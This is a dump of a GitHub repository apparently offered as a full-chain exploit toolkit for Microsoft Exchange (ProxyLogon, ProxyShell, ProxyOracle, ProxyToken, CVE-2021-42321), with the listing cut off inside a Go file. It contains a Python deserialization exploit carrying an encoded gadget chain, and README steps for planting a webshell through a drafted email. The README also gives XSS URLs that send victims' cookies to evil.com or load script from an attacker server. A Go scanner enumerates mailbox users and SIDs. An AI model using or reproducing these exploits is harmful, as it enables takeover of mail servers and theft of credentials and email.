├── .DS_Store ├── CVE-2021-42321_poc.py ├── README.md ├── chkproxyshell.go ├── confirmtoken.go ├── go.mod ├── go.sum ├── padre ├── payloadenc.c ├── pics ├── .DS_Store ├── cve-2021-42321.png ├── logo-black.png ├── proxylogon.png ├── proxylogon1.png ├── proxyoracle.png ├── proxyoracle1.png ├── proxyshell.png ├── proxyshell12.png ├── proxyshell13.png ├── proxyshell14.png ├── proxyshell15.png ├── proxyshell16.png ├── proxyshell17.png ├── proxyshell18.png ├── proxyshell19.png └── proxytoken.png ├── proxylogon.go ├── proxyoracle.py ├── proxyshell_payload_gen.py ├── proxytoken.go ├── sid_gen_token.py ├── test.xml ├── testfunc ├── proxyoracle_test.go ├── test.go └── test1.go └── wsman_getshell.py /.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/retr0-13/proxy_Attackchain/6b80f636ef8e3ee5de00eb7e58dcc51dda7f43be/.DS_Store -------------------------------------------------------------------------------- /CVE-2021-42321_poc.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | import socket, time 3 | 4 | import httplib, requests 5 | import urllib 6 | import os, ssl 7 | 8 | from requests_ntlm2 import HttpNtlmAuth 9 | from urllib3.exceptions import InsecureRequestWarning 10 | 11 | requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning) 12 | import base64 13 | 14 | 15 | USER = 'xxx' 16 | PASS = 'xxx' 17 | 18 | target = "https://xxx.xxx.xxx.xxx/" 19 | 20 | #rcegadget 21 | #pop calc or mspaint on the target 22 | gadgetData = 'AAEAAAD/////AQAAAAAAAAAMAgAAAF5NaWNyb3NvZnQuUG93ZXJTaGVsbC5FZGl0b3IsIFZlcnNpb249My4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj0zMWJmMzg1NmFkMzY0ZTM1BQEAAABCTWljcm9zb2Z0LlZpc3VhbFN0dWRpby5UZXh0LkZvcm1hdHRpbmcuVGV4dEZvcm1hdHRpbmdSdW5Qcm9wZXJ0aWVzAgAAAA9Gb3JlZ3JvdW5kQnJ1c2gPQmFja2dyb3VuZEJydXNoAQECAAAABgMAAABtPExpbmVhckdyYWRpZW50QnJ1c2ggeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sL3ByZXNlbnRhdGlvbiI+PC9MaW5lYXJHcmFkaWVudEJydXNoPgYEAAAA6w08UmVzb3VyY2VEaWN0aW9uYXJ5DQp4bWxucz0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwvcHJlc2VudGF0aW9uIg0KeG1sbnM6eD0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwiDQp4bWxuczpzPSJjbHItbmFtZXNwYWNlOlN5c3RlbTthc3NlbWJseT1tc2NvcmxpYiINCnhtbG5zOmM9ImNsci1uYW1lc3BhY2U6U3lzdGVtLkNvbmZpZ3VyYXRpb247YXNzZW1ibHk9U3lzdGVtLkNvbmZpZ3VyYXRpb24iDQp4bWxuczpyPSJjbHItbmFtZXNwYWNlOlN5c3RlbS5SZWZsZWN0aW9uO2Fzc2VtYmx5PW1zY29ybGliIj4NCiAgICA8T2JqZWN0RGF0YVByb3ZpZGVyIHg6S2V5PSJ0eXBlIiBPYmplY3RUeXBlPSJ7eDpUeXBlIHM6VHlwZX0iIE1ldGhvZE5hbWU9IkdldFR5cGUiPg0KICAgICAgICA8T2JqZWN0RGF0YVByb3ZpZGVyLk1ldGhvZFBhcmFtZXRlcnM+DQogICAgICAgICAgICA8czpTdHJpbmc+U3lzdGVtLldvcmtmbG93LkNvbXBvbmVudE1vZGVsLkFwcFNldHRpbmdzLCBTeXN0ZW0uV29ya2Zsb3cuQ29tcG9uZW50TW9kZWwsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj0zMWJmMzg1NmFkMzY0ZTM1PC9zOlN0cmluZz4NCiAgICAgICAgPC9PYmplY3REYXRhUHJvdmlkZXIuTWV0aG9kUGFyYW1ldGVycz4NCiAgICA8L09iamVjdERhdGFQcm92aWRlcj4NCiAgICA8T2JqZWN0RGF0YVByb3ZpZGVyIHg6S2V5PSJmaWVsZCIgT2JqZWN0SW5zdGFuY2U9IntTdGF0aWNSZXNvdXJjZSB0eXBlfSIgTWV0aG9kTmFtZT0iR2V0RmllbGQiPg0KICAgICAgICA8T2JqZWN0RGF0YVByb3ZpZGVyLk1ldGhvZFBhcmFtZXRlcnM+DQogICAgICAgICAgICA8czpTdHJpbmc+ZGlzYWJsZUFjdGl2aXR5U3Vycm9nYXRlU2VsZWN0b3JUeXBlQ2hlY2s8L3M6U3RyaW5nPg0KICAgICAgICAgICAgPHI6QmluZGluZ0ZsYWdzPjQwPC9yOkJpbmRpbmdGbGFncz4NCiAgICAgICAgPC9PYmplY3REYXRhUHJvdmlkZXIuTWV0aG9kUGFyYW1ldGVycz4NCiAgICA8L09iamVjdERhdGFQcm92aWRlcj4NCiAgICA8T2JqZWN0RGF0YVByb3ZpZGVyIHg6S2V5PSJzZXQiIE9iamVjdEluc3RhbmNlPSJ7U3RhdGljUmVzb3VyY2UgZmllbGR9IiBNZXRob2ROYW1lPSJTZXRWYWx1ZSI+DQogICAgICAgIDxPYmplY3REYXRhUHJvdmlkZXIuTWV0aG9kUGFyYW1ldGVycz4NCiAgICAgICAgICAgIDxzOk9iamVjdC8+DQogICAgICAgICAgICA8czpCb29sZWFuPnRydWU8L3M6Qm9vbGVhbj4NCiAgICAgICAgPC9PYmplY3REYXRhUHJvdmlkZXIuTWV0aG9kUGFyYW1ldGVycz4NCiAgICA8L09iamVjdERhdGFQcm92aWRlcj4NCiAgICA8T2JqZWN0RGF0YVByb3ZpZGVyIHg6S2V5PSJzZXRNZXRob2QiIE9iamVjdEluc3RhbmNlPSJ7eDpTdGF0aWMgYzpDb25maWd1cmF0aW9uTWFuYWdlci5BcHBTZXR0aW5nc30iIE1ldGhvZE5hbWUgPSJTZXQiPg0KICAgICAgICA8T2JqZWN0RGF0YVByb3ZpZGVyLk1ldGhvZFBhcmFtZXRlcnM+DQogICAgICAgICAgICA8czpTdHJpbmc+bWljcm9zb2Z0OldvcmtmbG93Q29tcG9uZW50TW9kZWw6RGlzYWJsZUFjdGl2aXR5U3Vycm9nYXRlU2VsZWN0b3JUeXBlQ2hlY2s8L3M6U3RyaW5nPg0KICAgICAgICAgICAgPHM6U3RyaW5nPnRydWU8L3M6U3RyaW5nPg0KICAgICAgICA8L09iamVjdERhdGFQcm92aWRlci5NZXRob2RQYXJhbWV0ZXJzPg0KICAgIDwvT2JqZWN0RGF0YVByb3ZpZGVyPg0KPC9SZXNvdXJjZURpY3Rpb25hcnk+Cw==' 23 | gadgetData1 = '' # here is the command exec gadget data. 24 | 25 | def sendPayload(gadgetChain): 26 | get_inbox = ''' 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | AllProperties 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | ''' 43 | 44 | headers = {"User-Agent": "ExchangeServicesClient/15.01.2308.008", "Content-type" : "text/xml; charset=utf-8"} 45 | 46 | res = requests.post(target + "/ews/exchange.asmx", 47 | data=get_inbox, 48 | headers=headers, 49 | verify=False, 50 | auth=HttpNtlmAuth('%s' % (USER), 51 | PASS)) 52 | 53 | 54 | folderId = res.content.split(' 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | ''' % (folderId, changeKey) 71 | 72 | res = requests.post(target + "/ews/exchange.asmx", 73 | data=delete_old, 74 | headers=headers, 75 | verify=False, 76 | auth=HttpNtlmAuth('%s' % (USER), 77 | PASS)) 78 | 79 | create_usr_cfg = ''' 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | String 94 | OrgChkTm 95 | 96 | 97 | Integer64 98 | 637728170914745525 99 | 100 | 101 | 102 | 103 | String 104 | OrgDO 105 | 106 | 107 | Boolean 108 | false 109 | 110 | 111 | 112 | 113 | String 114 | OrgExtV 115 | 116 | 117 | Integer32 118 | 2147483647 119 | 120 | 121 | 122 | %s 123 | 124 | 125 | 126 | ''' % (folderId, changeKey, gadgetChain) 127 | 128 | res = requests.post(target + "/ews/exchange.asmx", 129 | data=create_usr_cfg, 130 | headers=headers, 131 | verify=False, 132 | auth=HttpNtlmAuth('%s' % (USER), 133 | PASS)) 134 | 135 | 136 | get_client_ext = ''' 137 | 138 | 139 | 140 | 141 | 142 | 143 | 144 | 145 | aaaa 146 | CallerIdentity 147 | 148 | 149 | 150 | 151 | 152 | ''' 153 | 154 | res = requests.post(target + "/ews/exchange.asmx", 155 | data=get_client_ext, 156 | headers=headers, 157 | verify=False, 158 | auth=HttpNtlmAuth('%s' % (USER), 159 | PASS)) 160 | 161 | # the gadget set change DisableActivitySurrogateSelectorTypeCheck to True to overcome the limitation of .NET 162 | sendPayload(gadgetData) 163 | sendPayload(gadgetData1) -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Proxy-Attackchain 2 | 3 | proxylogon, proxyshell, proxyoracle, proxytoken, CVE-2021-42321 Deserialization RCE full chain exploit tool 4 | 5 | 1. ProxyLogon: The most well-known and impactful Exchange exploit chain 6 | 2. ProxyOracle: The attack which could recover any password in plaintext format of Exchange users 7 | 3. ProxyShell: The exploit chain demonstrated at [Pwn2Own 2021](https://twitter.com/thezdi/status/1379467992862449664) to take over Exchange and earn $200,000 bounty 8 | 9 | ProxyLogon is Just the Tip of the Iceberg: A New Attack Surface on Microsoft Exchange Server! [Slides](https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-ProxyLogon-Is-Just-The-Tip-Of-The-Iceberg-A-New-Attack-Surface-On-Microsoft-Exchange-Server.pdf) [Video](https://www.youtube.com/watch?v=5mqid-7zp8k) 10 | 11 | ## most of the exploit is recoded with golang to speed up... and for learning golang purpose :) 12 | 13 | - ![](./pics/logo-black.png) 14 | 15 | | NAME | CVE | patch time | description | avaliable | 16 | | ----------- | ----------- | ----------- | ----------- | ----------- | 17 | | ProxyLogon | [CVE-2021-26855](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26855) | Mar 02, 2021 | server-side request forgery (SSRF) | yes | 18 | | ProxyLogon | [CVE-2021-27065](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-27065) | Mar 02, 2021 | Microsoft.Exchange.Management.DDIService.WriteFileActivity未校验写文件后缀,可由文件内容部分可控的相关功能写入WebShell | yes | 19 | | ProxyOracle | [CVE-2021-31196](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-31196) | Jul 13, 2021 | Reflected Cross-Site Scripting | yes | 20 | | ProxyOracle | [CVE-2021-31195](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-31195) | May 11, 2021 | Padding Oracle Attack on Exchange Cookies Parsing | yes | 21 | | ProxyShell | [CVE-2021-34473](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34473) | Apr 13, 2021 | Pre-auth Path Confusion leads to ACL Bypass | yes | 22 | | ProxyShell | [CVE-2021-34523](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34523) | Apr 13, 2021 | Elevation of Privilege on Exchange PowerShell Backend | yes | 23 | | ProxyShell | [CVE-2021-31207](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-31207) | May 11, 2021 | Post-auth Arbitrary-File-Write leads to RCE | yes | 24 | | proxytoken | [CVE-2021-33766](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-33766) | July 13, 2021 | With this vulnerability, an unauthenticated attacker can perform configuration actions on mailboxes belonging to arbitrary users. As an illustration of the impact, this can be used to copy all emails addressed to a target and account and forward them to an account controlled by the attacker. | yes | 25 | | Microsoft Exchange Server 远程执行代码漏洞 | [CVE-2021-42321](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-42321) | Nov 17, 2021 | Exchange Deserialization RCE | yes | 26 | 27 | ***more exchange exp coming soon...*** 28 | 29 | # proxylogon 30 | 31 | - ![](pics/proxylogon.png) 32 | - ![](pics/proxylogon1.png) 33 | 34 | # proxyoracle 35 | 36 | Once a victim clicks this link, evil.com will receive the cookies. 37 | 38 | ``` bash 39 | https://ews.lab/owa/auth/frowny.aspx?app=people&et=ServerError&esrc=MasterPage&te=\&refurl=}}};document.cookie=`X-AnonResource-Backend=@evil.com:443/path/any.php%23~1941962753`;document.cookie=`X-AnonResource=true`;fetch(`/owa/auth/any.skin`,{credentials:`include`});// 40 | ``` 41 | 42 | or use 3gstudent's way: 43 | 44 | ## step1: XSS平台搭建 45 | 46 | 借助SSRF漏洞,控制Exchange服务器将Cookie信息发送至XSS平台,导致最终想要的Cookie信息位于Request Headers中 47 | 48 | 而现有的XSS平台大都是通过POST请求的参数来传递数据 49 | 50 | 为了解决这个问题,这里可以选择开源的XSS平台,地址如下: 51 | 52 | https://github.com/3gstudent/pyXSSPlatform 53 | 54 | 只需要修改以下位置: 55 | 56 | - 修改index.js,使用ajax模拟用户发包触发SSRF漏洞 57 | 58 | - 修改 pyXSSPlatform.py ,将GET请求的Request Headers进行提取 59 | 60 | - 使用合法的证书 61 | 62 | index.js代码示例: 63 | 64 | ``` bash 65 | var xmlHttp = new XMLHttpRequest(); 66 | xmlhttp.open("GET", "https://192.168.1.1/owa/auth/x.js", false); 67 | document.cookie = "X-AnonResource=true"; 68 | document.cookie = "X-AnonResource-Backend=OurXssServer.com/#~1"; 69 | xmlhttp.send(); 70 | ``` 71 | 72 | ## step2: XSS利用代码 73 | 74 | 控制用户访问XSS平台的代码示例: 75 | 76 | ``` bash 77 | https://192.168.1.1/owa/auth/frowny.aspx?app=people&et=ServerError&esrc=MasterPage&te=\&refurl=}}};document.head.appendChild(document.createElement(/script/.source)).src=/https:\/\/OurXssServer.com\/index.js/.source// 78 | ``` 79 | 80 | ## step3: example cookie for decryption test: 81 | 82 | ``` bash 83 | cadata=FVtSAAWdOn29HYDQry+kG+994VUdAxONrayi4nbJW9JWTh8yLueD6IxYpahfxcGsA/B3FoVUQOD2EG605SR4QdeQ1pof+KD//6jwpmYQjv/II+OcqChrFZFvcMWv46a5; cadataTTL=eTxCEHKHDMmd/gEqDuOafg==; cadataKey=T4juhN4dUMKY4wkajUD43n4EWfMwefPQlqzxXmK4GnSHIZqo+g+uQg1Y2ogGoD1HyoVpRYgjGcCu6rmNQK+LsaZ8/lfBCThBI5yAhP1W2Fx+YNKvzy8Bcpui7zTlhAY598lE5Aijs6crHVXJeZkbLfMJgp0cFHj5uTQPcg31O/AeOAnD5c27IYOQ7JqMW7GOUVor1lhYnhh0R/NtWWqyfr5oE9j0jbxIGgrQrXIpLxL/uAU1ddC+/5jG9Edpq4sC213amuU/94rkHYzNH9OsiHYIkXr/NmkB7p908XrFrwXAcvV9QieoRiS3jvKCbzk3mnMu3YTnsJwAuiHzSXdCOQ==; cadataIV=GB9B+rwrigyPOf8xnV1KAek++yovEot9jFcV68WepCTQoRtQ5HUxSC7tE1mmHg0YtE6EOZNUM/WiNGP6xI4UTAofcMOfTLeRpBzeaKOETfjxKK2W7IKn+9k2tRkc1pIlO8FTOVx/dOHOoIFHUkqxFr+TgBULJ1I7tUmO7W0XDX4ZJHfmQhVqOOzeyjImKdX7Uv/jIJrF4VEew7rgvrC8BhqOqWgaTxpGhDTzIXl+wW3crsgZmXpXhOPURej1iwmtvhuQU6iuq4/IRv0lVIW3WvP6gUI8owIUxppnJl7YmN27Aqkjs0nTZZz1LBuZN+YxY4x6Lvs2FMG68jllhE4kwg==; cadataSig=BOJSYN2B+3RsXjO2akh3mqlKKkeAZVamOzfpVo0QdPEA3BHjpR6ls5yD9TzAQzRuWJJaaRIm7wMEiBMFz/sK5jk3R6kWw1OmMtJN2c38PdvwGIe6/7ByJdl52a5ojhDrRZhc4Qc3y+FFRx6XKvqUljTRWtHJGI1Jad2+LiNhJGkalhUeTM/a2V4LiQWf6Vv1KzJO79rZuOOOBnatht/E29j6636FpllCfEKrrogPQ7ADdVS6OOmqNU9gRMVgKnomC2t2PCtuYj26HUjnZ3rfc6BdzVmtu9EYSzccObsB2jxXXclAm5a+NZU/6sj9tlq3gcurjBl9yUDTgbZLg383gw== 84 | ``` 85 | 86 | - amd64 poc binary usage: 87 | - just a modyfied version of [padre](https://github.com/glebarez/padre), added proxyoracle detect poc code... 88 | - ![](pics/proxyoracle.png) 89 | 90 | - python script exp usage: 91 | 92 | Decrypt this cookie to plaintext: 93 | 94 | - ![](pics/proxyoracle1.png) 95 | 96 | # proxyshell 97 | 98 | - CVE-2021-34473 - Pre-auth Path Confusion 99 | 100 | This faulty URL normalization lets us access an arbitrary backend URL while running as the Exchange Server machine account. Although this bug is not as powerful as the SSRF in ProxyLogon, and we could manipulate only the path part of the URL, it’s still powerful enough for us to conduct further attacks with arbitrary backend access. 101 | 102 | ``` bash 103 | https://xxx.xxx.xxx.xxx/autodiscover/autodiscover.json?@foo.com/mapi/nspi/?&Email=autodiscover/autodiscover.json%3f@foo.com 104 | ``` 105 | 106 | - CVE-2021-34523 - Exchange PowerShell Backend Elevation-of-Privilege 107 | - CVE-2021-31207 - Post-auth Arbitrary-File-Write 108 | 109 | ## let's getting started... 110 | 111 | generate proxyshell specified webshell payload. 112 | 113 | - proxyshell_payload_gen.py 114 | 115 | just put the webshell content you want to "webshell", then it will be fine... 116 | 117 | - ![](pics/proxyshell.png) 118 | 119 | then put the encoded webshell to ... in chkproxyshell.go 120 | 121 | confirm proxyshell and get the sid value to generate token. 122 | 123 | - ![](pics/proxyshell12.png) 124 | 125 | use the following py script to gen token value 126 | 127 | - ![](pics/proxyshell13.png) 128 | 129 | confirm the token is valid 130 | 131 | - ![](pics/proxyshell14.png) 132 | 133 | now use the token to send a email with shell attachment in, this may be saved as a draft in administrator's mailbox... 134 | 135 | - ![](pics/proxyshell15.png) 136 | 137 | - ![](pics/proxyshell16.png) 138 | 139 | finnaly use the following wsman python script to export The draft to webshell :) 140 | 141 | - ![](pics/proxyshell17.png) 142 | 143 | - ![](pics/proxyshell18.png) 144 | 145 | - ![](pics/proxyshell19.png) 146 | 147 | # proxytoken 148 | 149 | - -te: is the email that you want to redirect to... 150 | - -ve: is the email that you want to attack and read... 151 | 152 | - ![](pics/proxytoken.png) 153 | 154 | # Exchange RCE CVE-2021-42321 (target user & pass needed exploit) 155 | 156 | - [CVE-2021-42321_poc.py](./CVE-2021-42321_poc.py) 157 | 158 | Exchange 2016 CU 21,22 and Exchange 2019 CU 10,11. This means the only recent latest version of Exchange 2016,2019 are vulnerable to this CVE 159 | 160 | 1. Create UserConfiguration with BinaryData as our Gadget Chain 161 | 2. Request to EWS for GetClientAccessToken to trigger the Deserialization 162 | 163 | change DisableActivitySurrogateSelectorTypeCheck to True to overcome the limitation of .NET and later inject DLL to achieve mem-shell with Jscript to bypass the detection 164 | 165 | usage: 166 | 167 | use [ysoserial.net](https://github.com/pwntester/ysoserial.net) generate the command execution payload... 168 | 169 | ``` bash 170 | ./ysoserial.exe -f BinaryFormatter -g ActivitySurrogateDisableTypeCheck -o base64 -c "whoami /all" -t 171 | ``` 172 | 173 | then replace USER, PASS, target, gadgetData1 fileds you want... 174 | 175 | - youtube channel exp prove: 176 | 177 | - ![](pics/cve-2021-42321.png) 178 | 179 | i'm not found a proper envirenment to test the script...so test it yourself. 180 | 181 | # ***more newest exchange exp coming soon......*** 182 | 183 | # Reference (worship to orange!) 184 | - [Proxylogon](https://proxylogon.com/) 185 | - [A New Attack Surface on MS Exchange Part 1 - ProxyLogon!](https://blog.orange.tw/2021/08/proxylogon-a-new-attack-surface-on-ms-exchange-part-1.html) 186 | - [ProxyLogon漏洞分析](https://hosch3n.github.io/2021/08/22/ProxyLogon%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/) 187 | - [CVE-2021-42321](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-42321) 188 | - [Some notes about Microsoft Exchange Deserialization RCE (CVE-2021–42321)](https://peterjson.medium.com/some-notes-about-microsoft-exchange-deserialization-rce-cve-2021-42321-110d04e8852) 189 | - [A New Attack Surface on MS Exchange Part 2 - ProxyOracle!](https://blog.orange.tw/2021/08/proxyoracle-a-new-attack-surface-on-ms-exchange-part-2.html) 190 | - [ProxyOracle漏洞分析](https://hosch3n.github.io/2021/08/23/ProxyOracle%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/) 191 | - [My Steps of Reproducing ProxyShell](https://y4y.space/2021/08/12/my-steps-of-reproducing-proxyshell/) 192 | - [ProxyShell漏洞分析](https://hosch3n.github.io/2021/08/24/ProxyShell%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/) 193 | - [FROM PWN2OWN 2021: A NEW ATTACK SURFACE ON MICROSOFT EXCHANGE - PROXYSHELL!](https://www.zerodayinitiative.com/blog/2021/8/17/from-pwn2own-2021-a-new-attack-surface-on-microsoft-exchange-proxyshell) 194 | - [ProxyVulns](https://github.com/hosch3n/ProxyVulns) 195 | - [pax](https://github.com/liamg/pax) 196 | - [padre](https://github.com/glebarez/padre) 197 | - [python-paddingoracle](https://github.com/mwielgoszewski/python-paddingoracle) 198 | - [Reproducing The ProxyShell Pwn2Own Exploit](https://peterjson.medium.com/reproducing-the-proxyshell-pwn2own-exploit-49743a4ea9a1) 199 | - [ProxyShell](https://github.com/ktecv2000/ProxyShell) 200 | - [PROXYTOKEN: AN AUTHENTICATION BYPASS IN MICROSOFT EXCHANGE SERVER](https://www.zerodayinitiative.com/blog/2021/8/30/proxytoken-an-authentication-bypass-in-microsoft-exchange-server) 201 | - [A basic proxyshell scanner](https://github.com/dinosn/proxyshell) 202 | - [Proof of Concept Exploit for Microsoft Exchange CVE-2021-34473, CVE-2021-34523, CVE-2021-31207](https://github.com/horizon3ai/proxyshell) 203 | - [Generate proxyshell payload by Py Permutative Encoding](https://github.com/Ridter/proxyshell_payload) 204 | - [CVE-2021-34473-Exchange-ProxyShell](https://github.com/je6k/CVE-2021-34473-Exchange-ProxyShell) 205 | - [Exchange ProxyShell 远程代码执行漏洞复现](https://www.buaq.net/go-83692.html) 206 | - [exchange-proxyshell漏洞复现及分析](https://blog.riskivy.com/exchange-proxyshell%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0%E5%8F%8A%E5%88%86%E6%9E%90/) 207 | - [CVE-2021-33766-ProxyToken](https://github.com/demossl/CVE-2021-33766-ProxyToken) 208 | - [ysoserial.net](https://github.com/pwntester/ysoserial.net) -------------------------------------------------------------------------------- /chkproxyshell.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "crypto/tls" 5 | "flag" 6 | "fmt" 7 | "io/ioutil" 8 | "net/http" 9 | "strings" 10 | "time" 11 | 12 | "github.com/fatih/color" 13 | ) 14 | 15 | func Banner() { 16 | x := ` 17 | ---------------------- 18 | < proxyshell is awesome! > 19 | ---------------------- 20 | \ ^__^ 21 | \ (oo)\_______ 22 | (__)\ )\/\ 23 | ||----w | 24 | || ||` 25 | y := "By lUc1f3r11" 26 | color.Red("%s", x) 27 | color.Yellow("%s", y) 28 | } 29 | 30 | func Between(str, starting, ending string) string { 31 | s := strings.Index(str, starting) 32 | if s < 0 { 33 | return "" 34 | } 35 | s += len(starting) 36 | e := strings.Index(str[s:], ending) 37 | if e < 0 { 38 | return "" 39 | } 40 | return str[s : s+e] 41 | } 42 | 43 | func check(target string) { 44 | user_agent := "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36" 45 | /*构造payload*/ 46 | cli := &http.Client{Timeout: time.Second * 7, Transport: &http.Transport{TLSClientConfig: &tls.Config{InsecureSkipVerify: true}}} 47 | if !strings.Contains(target, "http") { 48 | target = "http://" + target 49 | } 50 | 51 | request, err := http.NewRequest(http.MethodGet, target+"/autodiscover/autodiscover.json?@foo.com/mapi/nspi/?&Email=autodiscover/autodiscover.json%3f@foo.com", nil) 52 | if err != nil { 53 | fmt.Println(err) 54 | } 55 | 56 | request.Header.Add("User-Agent", user_agent) 57 | request.Header.Add("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8") 58 | request.Header.Add("Connection", "close") 59 | 60 | do, err := cli.Do(request) 61 | if err != nil { 62 | fmt.Println("[-] requesting err...") 63 | return 64 | } 65 | 66 | defer func() { 67 | _ = do.Body.Close() 68 | }() 69 | 70 | ioread, _ := ioutil.ReadAll(do.Body) 71 | bannerstr := Between(string(ioread), ``, ``) 72 | targetuser := Between(string(ioread), `User: `, `
UPN:`) 73 | 74 | if do.StatusCode == 200 && bannerstr == "Exchange MAPI/HTTP Connectivity Endpoint" { 75 | fmt.Println("[+] req status: " + do.Status) 76 | fmt.Println("[+] target user is : " + targetuser) 77 | fmt.Println("[+] target is vulnerable to proxyshell !") 78 | enumerate(target) 79 | } else { 80 | fmt.Println("[-] target is not vulnerable to proxyshell !") 81 | } 82 | } 83 | 84 | func enumerate(target string) { 85 | user_agent := "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36" 86 | /*构造payload*/ 87 | cli := &http.Client{Timeout: time.Second * 7, Transport: &http.Transport{TLSClientConfig: &tls.Config{InsecureSkipVerify: true}}} 88 | if !strings.Contains(target, "http") { 89 | target = "http://" + target 90 | } 91 | 92 | endpoint_addr := "/autodiscover/autodiscover.json?a=test@test.com/EWS/exchange.asmx" 93 | 94 | json_data := ` 99 | 100 | 101 | 102 | 103 | 104 | SMTP: 105 | 106 | 107 | 108 | ` 109 | 110 | request, err := http.NewRequest(http.MethodPost, target+endpoint_addr, strings.NewReader(json_data)) 111 | if err != nil { 112 | fmt.Println(err) 113 | } 114 | 115 | request.Header.Add("Cookie", "Email=autodiscover/autodiscover.json?a=test@test.com") 116 | request.Header.Add("User-Agent", user_agent) 117 | request.Header.Add("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8") 118 | request.Header.Add("Connection", "close") 119 | request.Header.Add("Content-Type", "text/xml") 120 | 121 | do, err := cli.Do(request) 122 | if err != nil { 123 | fmt.Println("[-] requesting err...") 124 | return 125 | } 126 | 127 | defer func() { 128 | _ = do.Body.Close() 129 | }() 130 | 131 | ioread, _ := ioutil.ReadAll(do.Body) 132 | bannerstr := Between(string(ioread), ``, ``) 134 | display_name := Between(string(ioread), ``, ``) 135 | email_addr1 := Between(string(ioread), ``, ``) 136 | 137 | if do.StatusCode == 200 && bannerstr == "version" { 138 | fmt.Println("[+] get target email addr: " + email_addr) 139 | fmt.Println("[+] get target displayname: " + display_name) 140 | fmt.Println("[+] get target email addr1: " + email_addr1) 141 | getlegacydn(target, email_addr) 142 | } else { 143 | fmt.Println("[-] get email failed !") 144 | } 145 | } 146 | 147 | func getlegacydn(target, email string) { 148 | /*构造payload*/ 149 | cli := &http.Client{Timeout: time.Second * 7, Transport: &http.Transport{TLSClientConfig: &tls.Config{InsecureSkipVerify: true}}} 150 | if !strings.Contains(target, "http") { 151 | target = "http://" + target 152 | } 153 | 154 | endpoint_addr := "/autodiscover/autodiscover.json?a=luci@ex.com/autodiscover/autodiscover.xml" 155 | 156 | json_data := `` + email + `http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a` 157 | 158 | request, err := http.NewRequest(http.MethodPost, target+endpoint_addr, strings.NewReader(json_data)) 159 | if err != nil { 160 | fmt.Println(err) 161 | } 162 | 163 | request.Header.Add("Accept-Encoding", "identity") 164 | request.Header.Add("Cookie", "Email=autodiscover/autodiscover.json?a=luci@ex.com") 165 | request.Header.Add("Content-Type", "text/xml") 166 | 167 | do, err := cli.Do(request) 168 | if err != nil { 169 | fmt.Println("[-] requesting err...") 170 | return 171 | } 172 | 173 | defer func() { 174 | _ = do.Body.Close() 175 | }() 176 | 177 | ioread, _ := ioutil.ReadAll(do.Body) 178 | serverversion := Between(string(ioread), ``, ``) 179 | LegacyDN := Between(string(ioread), ``, ``) 180 | 181 | if do.StatusCode == 200 { 182 | fmt.Println("[+] get server version: " + serverversion) 183 | fmt.Println("[+] get LegacyDN: " + LegacyDN) 184 | getsid(target, LegacyDN) 185 | } else { 186 | fmt.Println("[-] get LegacyDN failed !") 187 | } 188 | } 189 | 190 | func getsid(target, LegacyDN string) { 191 | cli := &http.Client{Timeout: time.Second * 7, Transport: &http.Transport{TLSClientConfig: &tls.Config{InsecureSkipVerify: true}}} 192 | if !strings.Contains(target, "http") { 193 | target = "http://" + target 194 | } 195 | 196 | endpoint_addr := "/autodiscover/autodiscover.json?a=luci@ex.com/mapi/emsmdb" 197 | 198 | legacydn := LegacyDN + "\x00\x00\x00\x00\x00\xe4\x04\x00\x00\x09\x04\x00\x00\x09\x04\x00\x00\x00\x00\x00\x00" 199 | 200 | request, err := http.NewRequest(http.MethodPost, target+endpoint_addr, strings.NewReader(legacydn)) 201 | if err != nil { 202 | fmt.Println(err) 203 | } 204 | 205 | request.Header.Add("Accept-Encoding", "identity") 206 | request.Header.Add("Cookie", "Email=autodiscover/autodiscover.json?a=luci@ex.com") 207 | request.Header.Add("X-Requesttype", "Connect") 208 | request.Header.Add("X-Clientinfo", "{2F94A2BF-A2E6-4CCCC-BF98-B5F22C542226}") 209 | request.Header.Add("X-Clientapplication", "Outlook/15.0.4815.1002") 210 | request.Header.Add("X-Requestid", "{C715155F-2BE8-44E0-BD34-2960067874C8}:2") 211 | request.Header.Add("Content-Type", "application/mapi-http") 212 | 213 | do, err := 